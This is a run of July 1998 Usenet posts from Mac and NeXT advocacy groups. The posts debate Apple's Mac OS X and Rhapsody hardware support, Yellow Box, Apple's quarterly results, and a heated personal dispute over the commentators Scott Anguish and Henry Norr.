Subject: Re: '97 Mac entrant feels shafted
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <FIiROLCWddLd-pn2-x5YwSjPp5bUS@localhost> <stevehix-1407982113340001@ip39.safemail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 15 Jul 1998 21:05:05 GMT
Organization: IBM.NET
On Wed, 15 Jul 1998 04:13:33, stevehix@safemail.com (Steve Hix)
thought aloud:
> In article <FIiROLCWddLd-pn2-x5YwSjPp5bUS@localhost>,
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
>
> > And silly me for not only expecting to get Rha... Mac OS X running on
> > my year-old machine,
>
> If you've got a PCI Mac, that's what you'll be able to have
> by the end of this year. You just don't get to run version
> 2.0 on it.
You're saying that my Mac (first arrived in the market around 12
months ago) will be, after all, compatible with Rhapsody, now known as
Mac OS X Server? (Server? I'm looking forward to seeing the price for
this upgrade...) We'll find out soon enough, none of the Rhapsody DR's
would install or run on it though.
Suppose the Server (huh) costs $500 and version 1.0 will be as far as
it ever gets... with even bug fixes in doubt as Apple's limited
resources are focused into the Customer Version now known as Mac OS X.
Well, you could say that Apple has kept the '97 Powermac commitment
("we didn't say it'd be a server, and a dead-end in that...").
> > but also for expecting to get it for free.
>
> Now, *that* was silly.
As Mr Eilers successfully noted, I was merely trying to lighten myself
up and blow off some steam with a dose of sarcasm. I'd be happy to pay
reasonable price for the compatible modern Apple OS that I bought my
Macintosh for. Before this recent and perceived "shafting" (or a
reasonable policy reversal, depending on the degree of fanatism) I was
fully intending to buy more new Apple hardware like PB, tower and
toppings, but I regret to say I don't feel very comfortable putting
myself at the mercy of a single source vendor with the charasteristics
Apple has been proudly displaying as of late.
As I said in the beginning, I'd very much like to complete my
migration to Apple HW and SW but considering their attitude and new
hardware support dumping policies I'd feel safer going for a
not-so-elegant PC with not-so-easy-to-use software. But at least there
are OS vendors fighting for my money. I'm still waiting what Apple has
to say, if anything.
Rgds,
--
taiQ
[this space is intentionally blank]
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 14:06:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6oj5jo$130@nntp02.primenet.com>
References: <not-1407981048300001@2-25.phx.psn.net> <6ogat2$8vu@shelob.afs.com> <not-1407981431260001@1-58.phx.psn.net> <gmgraves-1507981215260001@sf-usr1-30-158.dialup.slip.net> <6oj3cb$94e$1@lwnws01.ne.highway1.com>
> Why has BeOS faded into total obscurity, even though it is unarguably
> the most modern OS yet? Different APIs.
Just because the Be people don't come over to your group to bother you any
more, don't assume they're gone. They probably assume that anyone who has
waited this long for a new MacOS is committed, and will wait as long as it
takes.
John
From: NOamradioSPAM@thebizlink.com (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 15 Jul 1998 17:14:40 -0500
Organization: World Wide
Message-ID: <NOamradioSPAM-1507981714410001@207-172-130-114.s114.tnt3.col.erols.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu>
<keyword>: Cool
In article <6ogco6$8ma$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
x.psn.net>
Michael M. Eilers (not@a.valid.email.add) wrote:
: the idea of spending one dime more upgrading it. Computers cost money,
: dammit! Anyone who has ever bought a computer and expected to never buy
: one again is just plain ignorant in the extreme--as stupid as buying a car
: and thinking the only expenses will be gas, oil, and air filters, and it
: will last forever.
This is an extremely poor analogy, one that does not do your cause
credit. Keeping and maintaining a car for any length of time may
cost money, but not the sort of money needed to get rid of the
car every two years and buy a brand-new replacement. (At least,
no sane person would do that...right?)
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
Supposedly, for some people, a new car lease every two years is a good
financial strategy. Personally, I wouldn¹t know!!
From: NOamradioSPAM@thebizlink.com (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 15 Jul 1998 17:19:08 -0500
Organization: World Wide
Message-ID: <NOamradioSPAM-1507981719090001@207-172-130-114.s114.tnt3.col.erols.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <1dc6e9x.i3kt8jnbcj06N@ip70.albnxr1.ras.tele.dk> <slrn6qnl5q.18f.jason@jhste1.dyn.ml.org>
<keyword>: Cool
In article <slrn6qnl5q.18f.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
Per Erik Rønne posted the following to comp.sys.mac.advocacy:
>> Why do people babble about "protected memory" like they have some
>> inalienable right to it--like Apple "owes" them this capability for free?
>> Have any of them priced NT Server?
>Actually, people can get protected memory for free as long as they have
>a NuBus based PowerMac or better - and as long as it is not _too_ new.
>Just downloadk MkLinux. UNIX has always had protected memory. And lots
>of freeware [and payware] programs exist for UNIX.
>MkLinux even has a graphical user interface with a three button mouse:
>XWindows.
Those with 68K Macs can run NetBSD. Those with PCI PowerMacs _should_
run Linux/PowerPC, not Mklinux, though.
There is a 68k version of Linux in the works. <http://maclinux.wwaves.com/>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <adtEw5MxM.72B@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Organization: Netcom On-Line Services
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se>
Date: Wed, 15 Jul 1998 21:12:58 GMT
Sender: adt@netcom8.netcom.com
Jonas Palm (Jonas.Palm@orgk1.lu.se) wrote:
: If Apple decides not to support these machines, not only do I feel that
: they are screwing their customers. What is probably more important to
: Apple is that they will then lose the loyalty of someone who has been a
: mac promoter for over a decade, and who support a great number of users.
You don't need to stop promoting Apple, just go to the "Why Macintosh"
list and delete the point about Macs having very long lifespans. :-( Not
long ago my company delayed the purchase of a new Mac, I was disappointed
at the time, but now I am relieved that I won't be stuck with an obsolete
8600/350. A 350 MHz 604e on a motherboard used for Mach and Rhapsody
development, how was I foolishness enough to think that such a machine had
a long future ahead of it.
And yes, the little rant did make me feel better. ;-)
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Profits up, revenues continue to slide
Date: 15 Jul 1998 21:31:21 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oj739$aqu$1@lwnws01.ne.highway1.com>
The good news is that apple made 100mil, 203 mil on the year so far; as
compared to loosing about 6 times as much last year. The bad news is that
apple made about 200million less in revenue this quarter as compared to last
year. All three profitable quarters were marked by reduced revenues.
I guess there are two ways to look at this. One, it's a dying ship; nuff
said. Two, since hardware prices in general have radically declined since
last year, that explains the revenue drop. However, I believe other hardware
makers have dropped prices more and revenues are up. Which leads me to
believe that apple hasn't dropped prices enough, and therefor is not
benefiting propotionally on the increase in volume that ought to come with a
proportional price drop.
Overall, seems like good news though.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not Able to Do QuickTime Very Well?
Date: 15 Jul 1998 17:20:05 GMT
Organization: I don't think so
Message-ID: <slrn6qppe5.jc.jason@jhste1.dyn.ml.org>
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144> <petrichEw44Br.3Cs@netcom.com> <slrn6qo3ji.217.jason@jhste1.dyn.ml.org> <6oio1u$c0l$1@supernews.com>
Nevin \":-]\" Liber posted the following to comp.sys.mac.advocacy:
>>I doubt it. Linux kernels have something like a 10 ms timeslice, which
>>is adequate for 100 fps video, I'd think. Mach has finer granularity,
>>IIRC.
>Contrary to popular belief on Usenet, preemptive scheduling is not a
>replacement for real-time scheduling. Preemption is a guarantee of
>"fairness", while real-time systems need a guarantee of "responsiveness".
>Know that Linux has 10 ms timeslices is not enough; a real-time system needs
>to know how often it can get a 10 ms timeslice as well. Another way to say
>this is that you need both the latency and the bandwidth to do real-time
>well, and preemptive scheduling only specifies the bandwidth.
>A reservation system (I need x cycles of a CPU within the next y ms
>timeframe) tends to work quite well in these situations.
AFAIK, there are at least three different scheduling policies that one
can build into a Linux kernel - the "classic" UNIX nice value/adaptive
priority model (not well suited for realtime apps), a "QNX-style"
scheduler which can be made to enforce user-set priorities much more
rigidly (better for realtime, probably adequate for video), and the
genuine realtime kernel project (probably overkill for video production;
more suited for critical data acquisition apps).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <15079822.5858@gppg.com>
Control: cancel <15079822.5858@gppg.com>
Date: 15 Jul 1998 21:34:29 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.15079822.5858@gppg.com>
Sender: umfrage@gppg.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 22:05:19 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6oj92v$6d9$1@news.spacelab.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <35abb26e.0@news.depaul.edu> <35ABB916.F3460C01@ericsson.com> <6oiq1p$5js$1@news.spacelab.net> <35ACF1FF.60CCFA4E@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Charles W. Swiger wrote:
[ ... ]
>But Chuck, I have to point out that this is not about advocating one
>thing or another. Everybody here wants Yellow Box.
Everyone? The former NeXT people certainly do, and many of the Mac
developers who have been exposed to it have had very positive reactions.
Other people, including more traditional Mac developers, don't seem to care
one way or the other...so long as what they see as "the real MacOS" doesn't
change much.
That's fine-- their preference, their decision.
> The issue is that Henry Norr expressed doubt that Yellow Box was still
> important to Apple's strategy. As an advocate not only for Yellow Box but
> also for the associated industry and income that would follow Yellow Box
> success, Scott is not in a position to disparage Norr.
If Scott has more accurate information than Norr, why can't he disagree with
Norr?
> The point is that Scott is not just an advocate for Yellow Box, he's also
> an advocate for himself, and he cannot separate the two in this
> discussion.
Why is that seperation necessary?
>I want to make clear that this is not about Yellow Box advocacy, Chuck.
>It's about self-advocacy. Don't get me wrong, it's fine to toot one's
>own horn whenever one likes. But when you couple your
>self-aggrandizement to unjustified criticism of someone in a less
>compromised position...it just needs an apology.
You're making several broad assumptions, all of which I strongly disagree
with.
#1: that Scott's commentary was unjustified.
Whether you choose to admit it or not, Scott has extremely good sources
within Apple, and Stepwise has a proven track record of providing
well-supported facts, nor rumors. If you wanna claim otherwise, you'd better
substantiate it by providing specific examples of where Stepwise was wrong.
#2: that Scott's commentary was for self-aggrandizement.
You're attributing some fairly sordid motives without evidence. I don't
believe that Scott was motived by greed and self-interest when he refuted
Norr's remarks. While it'd be nice if former NeXT technology gained wider
popular acceptance, it's not essential.
#3: that Scott's position is "compromised".
My experiences working with Scott at one company or another is that he's an
"honest advocate", not a zealot. You seem to agree with the distinction, and
you even acknowledge that Scott's website contains a lot of useful
information, not just advocacy.
>> Stepwise contains advocacy (which is generally clearly labelled either as
>> "editorials" or as "press releases"), but it also contains a great deal of
>> factual examples, references, pointers, and other useful information. In
>> particular, it includes descriptions of problems, inconsistencies, and
>> bugs that one might encounter working with WebObjects or
>> YellowBox/OpenStep.
>
>I know that, and I think it's great.
If you knew that, why did you call Stepwise an advocacy website?
>> I've never seen Scott Anguish be rude to anyone, on Usenet or off, without
>> direct and obvious provocation. Hey, Mike-- why _are_ you here? Do you
>> have anything worthwhile to contribute, or do you simply get your kicks
>> from bashing NeXT's technology and people who use it productively?
>
> Why do I get asked this question? Why do you people care? Am I
> threatening? Am I troublesome? Am I spam? Or are my opinions just
> unwelcome?
Your misrepresentation of Scott Anguish's experiences and knowledge [cf
remarks like "I daresay Henry Norr has seen a bit more of Apple's history
than, say (off the top of my head), someone like Scott Anguish."] is
obnoxious.
>Treat me like a pariah if you like, Chuck, it wouldn't be the first
>time, would it?
If you say so.
I'm entirely willing to hold a polite discussion even with people who
strongly disagree with me. On the other hand, it doesn't bother me at all to
call you on this-- you are pretty close to slandering Scott Anguish.
> I'd think that you, of all people, would feel partly responsible for my
> current relationship with this newsgroup. After all, this isn't our
> first discussion, is it?
I have no responsibility for your remarks or your relationship to the NeXT
newsgroups. Try taking a little responsibility for your own words, hmm?
And no, it isn't our first discussion. Like I said previously, you would
have done much better to simply ask for help with your NeXT machine rather
than adding all of the snide commentary and complaints.
Even with your editorial remarks, you were given pretty of helpful advice,
but you decided to get offended by the characterization that you obviously
weren't an experienced Unix sysadmin if you couldn't configure your own user
account to su, to install basic CLI utilities like tcsh, or even read the
documentation. See the thread around message-id
<6bqljb$mk$25@anvil.BLaCKSMITH.com>....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 15 Jul 1998 22:23:09 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6oja4d$dmd$1@vixen.cso.uiuc.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001
Michael Peck (Michael.Peck@ericsson.com) wrote:
: willis sean timothy wrote:
:
: > The disagreeing parties stooped to insulting him first.
:
: I missed that. Could you post a reference?
POSTING REFERENCE:
**********************************************************************
In article <6oe13t$hm7$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> Apple isn't going to be selling off the Enterprise stuff.
>
> YB isn't going to be sold off, and it isn't dead. Not by a
> long shot.
>
> Geez, why do you people listen to Henry Norr?
Scott, why the hell would we listen to you instead? Which one of the two
of you has a steady job getting paid to predict what Apple is going to do
next, and do it for publication?
michael
********************************************************************
Note the slightly hostile tone.
: They are not. An exclusive Web site, ties to Apple, eschewing rumors,
: interviews with Apple officials (just out of curiosity, how many of
: those officials are no longer with the Revolving Door Management
: Company, aka Apple?)
Quite a few, including RDF-man himself.
, and an endorsement from Apple because of shameless
: advocacy do not constitute "credentials that are worthy of respect".
: Scott may, indeed, by "worthy of respect", but the credentials you list
: do not prove it, not by a long shot.
Never met the guy. I base my opinion off of what I read and what I see. I
see Scott staying up until all hours of the morning to present fact-based
reporting on WWDC, I see stepwise as one of the most comprehensive
resources for NeXT technologies on the web, and I see the informative
nature of his posts when he's not being bashed by the less tactful
members of this newsgroup. All in all, he seems like a very dedicated and
reliable source, who I have not had reason to question as of yet. Hence,
my respect.
: So Ric Ford isn't your personal hero. How bitterly disappointing, not.
: Not everybody insists on elevating Web personalities to the status of
: celebrities (and subsequently basing "respect" on said celebrity
: status). Scott doesn't have an moral imperative to criticize Norr for
: his views, plain and simple.
No, but if he disagrees with his public writings and chooses to say so in
a public forum, there is no reason why he shouldn't. Especially if he has
high-level sources that tell him Mr. Norr's doomsaying opinions are
incorrect and misleading.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 21:59:54 GMT
Organization: wazza?
Message-ID: <6oj8oq$3jr$1@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com>
<35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net>
<6oglng$ft8$1@news.digifix.com> <6oie2v$h7g$3@server.signat.org>
<6oj2ge$b61$1@news.digifix.com>
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Cc: sanguish@digifix.com
In <6oj2ge$b61$1@news.digifix.com> Scott Anguish wrote:
> Uh, not really. The Unisys issue is LZW, which is present
> both in the proposed .gif support (although QT support will encompass
> that in the Mac OS X timeframe) and in the tiff support.
>
> Neither of these have anything to do with PDF though.
I thought there was some sort of blanket rider on the LZW use in PDF
though. No?
Maury
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 15 Jul 1998 21:43:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6oj7pn$2j7$1@nnrp1.dejanews.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net>
In article <joe.ragosta-1507980648180001@elk60.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> It wouldn't be much of a debate.
>
> Which OS has the highest productivity?
> Which OS has the best ease of use?
> Which OS has the lowest TCO?
>
> The answer to all of these is "Mac OS". That's working well in my book.
Joe, I can't believe how often you make these three claims without qualifying
them. Obviously, these "facts" only apply when you are performing certain
tasks. Or, do you believe that the Mac OS has the highest productivity when
rendering 3D graphics for film, the best ease of use when developing real time
software, and the lowest TCO when running as a high volume web server? And,
BTW, what operating systems where considered when the study that you are
refering to was done?
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: 15 Jul 1998 15:43:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D27E81-1BDCB@206.165.43.178>
References: <6oindb$20i$2@lwnws01.ne.highway1.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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John Kheit <jkheit@mediaone.net> said:
>trev@sc.edu (Trevor Zion Bauknight) wrote:
>> It's already being done...I don't know when these advances will
>> make it into Apple's production system, but:
>>
>> http://almond.srv.cs.cmu.edu/afs/cs/project/art-6/www/rtmach.html
>
>Thanks very much for the pointer. Well, seems that last buzzword is
within
>reach. It would make great sense to make this a standard part of OSX, so
it
>would just *be there* on a system wide basis from day one.
>
I scanned the sites. I'm curious as to the relative
advantages/disadvantages of using a realtime kernel with compute-intensive
consumer-level multi-media apps such as 3D games. Is there a potential
issue having a RT kernel available for professional work and trying to use
the same OS to play Doom 16? Apple has traditionally used the CPU as its
DSP for audio. How does this guaranteed time-slice scheduler work with a
game that is using the CPU for both 3D video and sound effects? Would the
sound/game-play become choppy in some conditions?
Is there an issue here? If so, can Apple disable the RT features or will it
need to produce two versions of the OS X kernel, one for real-time video
and one for games?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 15 Jul 1998 22:41:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ojb7i$90f$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net>
In article <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> While I agree with you in principle (Apple cannot be trusted), this situation
> is a little different. Apple will be making TWO parallel Mac OSes. One based
> on OS-8 (OS-7, actually) and OS-X.
But there is no way that Apple can claim that MacOS 8 is their next generation
operating system. It isn't even as revolutionary as the change from System 6 +
multifinder -> System 7.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: mmp5@axe.humboldt.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS stalled?
Date: Wed, 15 Jul 1998 22:43:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ojba8$90q$1@nnrp1.dejanews.com>
References: <35aa328b.164961000@198.0.0.100> <6o38vv$9bt$1@nnrp1.dejanews.com> <macghod-1107981135570001@sdn-ar-001casbarp259.dialsprint.net>
In article <macghod-1107981135570001@sdn-ar-001casbarp259.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>
> This makes me so sad. If apple hadnt been so wishy washy and non commital
> to rhapsody, they could be reaping from this. And if you think I am
> FUDing in saying this, you are wrong. Apple has been very non commital,
> look at ken bereskin's interview, look at that even yellowbox programmers
> think that apple may sell off the enterprise tools it got from Next.
I haven't read the interview you mention, but what you say twists what I have
heard from Apple around 180. OS X _is_ Rhapsody, hello. It is also OS 8. It
will run Rhap. apps and OS 8 apps. How is this confusing?
> The enterprise market DEMANDS commitment, and APple aint giving it.
The decision to create a high end OS that will run older OS 8 apps seemlessly
was _requested_ by developers and Apple delivered. Sounds like commitment to
me.
> --
> So many pedestrians, so little time.
>
'Bye, bye, bye..' (L.Reed)
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to
obscurity?)
Date: 15 Jul 1998 15:47:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D27F61-1F256@206.165.43.178>
References: <6oj5a0$goe$1@hole.sdsu.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
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tomlinson <etomlins@rohan.sdsu.edu> said:
>This is I think the second time I have seen Gassee criticised as
>chiefly responsible for Apple's more idiotic decisions. Lacking
>any knowledge of Gassee's tenure at the company, I can't judge the
>statement. What's the story? What did he do?
>
>My interest in JLG is more than academic of course, because Gassee
>after all now heads up Be, in whom I've invested a certain amount of
>loyalty and time. If Gassee fucked up before I'd like to know how,
>just in case he does it again :)
I've heard that he was the one that convinced Jobs NOT to license the Mac
to tothers.
OTOH, his license plate used to read OPENMAC and he was the NuBus slot
advocate, I believe.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 18:00:56 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AD34A8.857384AD@ericsson.com>
References: <35ACF1FF.60CCFA4E@ericsson.com> <6oit91$fc6@shelob.afs.com>
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Gregory H. Anderson wrote:
> Now speaking particularly, I submit that phrases like "you people"
> bend to the latter camp.
No shit. Sorta like this?
> Geez, why do you people listen to Henry Norr?
See if you can figure out who said that.
> I have observed you throw around enough
> things that read like obvious "bait" to stop responding.
One wonders what you think you're doing now.
> I'm sure you
> don't consider that a great loss, because plenty of people are more
> than willing to take up the slack and provide you ongoing entertainment.
The only entertaining thing about this newsgroup is the discussion of
technology. I read (and generally don't post) for that. The rest (like
Scott Anguish disparaging noted Mac-industry editorialists) is utter
bullshit.
> But it's one of the reasons that the reasonable old-timers you've been
> looking for have abandoned the group. I used to post to this group
> constantly, and people tell me that I was considered one of its more
> reasonable voices. But even I finally gave up under the sheer weight
> of argument-for-its-own-sake between people who had obviously stopped
> listening to each other (or never even started).
Ironic.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 17:57:49 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AD33ED.E189C591@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001 <6oja4d$dmd$1@vixen.cso.uiuc.edu>
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willis sean timothy wrote:
>
> Michael Peck (Michael.Peck@ericsson.com) wrote:
> : willis sean timothy wrote:
> :
> : > The disagreeing parties stooped to insulting him first.
> :
> : I missed that. Could you post a reference?
>
> POSTING REFERENCE:
<quote of Michael Eilers>
Sean, this has nothing to do with Michael Eilers and everything to do
with Henry Norr and Scott Anguish. I wasn't clear about it, but Henry
Norr is the "disagreeing party" to which I was referring.
[cut]
> : So Ric Ford isn't your personal hero. How bitterly disappointing, not.
> : Not everybody insists on elevating Web personalities to the status of
> : celebrities (and subsequently basing "respect" on said celebrity
> : status). Scott doesn't have an moral imperative to criticize Norr for
> : his views, plain and simple.
>
> No, but if he disagrees with his public writings and chooses to say so in
> a public forum, there is no reason why he shouldn't. Especially if he has
